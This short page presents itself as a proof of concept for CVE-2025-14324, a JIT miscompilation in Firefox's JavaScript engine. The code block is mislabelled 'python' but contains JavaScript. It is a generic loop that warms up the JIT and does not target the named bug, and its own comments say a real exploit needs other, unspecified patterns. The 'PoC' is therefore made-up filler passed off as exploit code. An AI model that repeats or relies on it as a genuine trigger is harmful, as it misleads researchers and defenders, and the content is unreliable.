JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 146, Firefox ESR 115.31, Firefox ESR 140.6, Thunderbird 146, and Thunderbird 140.6.
The following code is for security research and authorized testing only.
python
// CVE-2025-14324 PoC - JIT Miscompilation Trigger
// This PoC demonstrates triggering the JIT miscompilation vulnerability
// Note: Actual exploit requires specific JavaScript patterns that trigger
// the compiler bug in SpiderMonkey's JIT component
function triggerJITBug() {
// Initialize array with specific data patterns
var arr = new Array(1000);
for (var i = 0; i < 1000; i++) {
arr[i] = { value: i };
}
// Trigger JIT compilation with polymorphic operations
// that may expose the miscompilation issue
function vulnerableFunction(a, b) {
var result = 0;
for (var i = 0; i < 100; i++) {
// Pattern that may trigger JIT compiler bug
if (a[i] && a[i].value !== undefined) {
result += a[i].value;
}
// Additional operations to stress JIT
if (b[i] && b[i].value !== undefined) {
result *= b[i].value;
}
}
return result;
}
// Force JIT compilation
for (var j = 0; j < 10000; j++) {
vulnerableFunction(arr, arr);
}
return vulnerableFunction(arr, arr);
}
// Execute the trigger
try {
var result = triggerJITBug();
console.log('Execution completed with result:', result);
} catch (e) {
console.log('Error occurred:', e.message);
}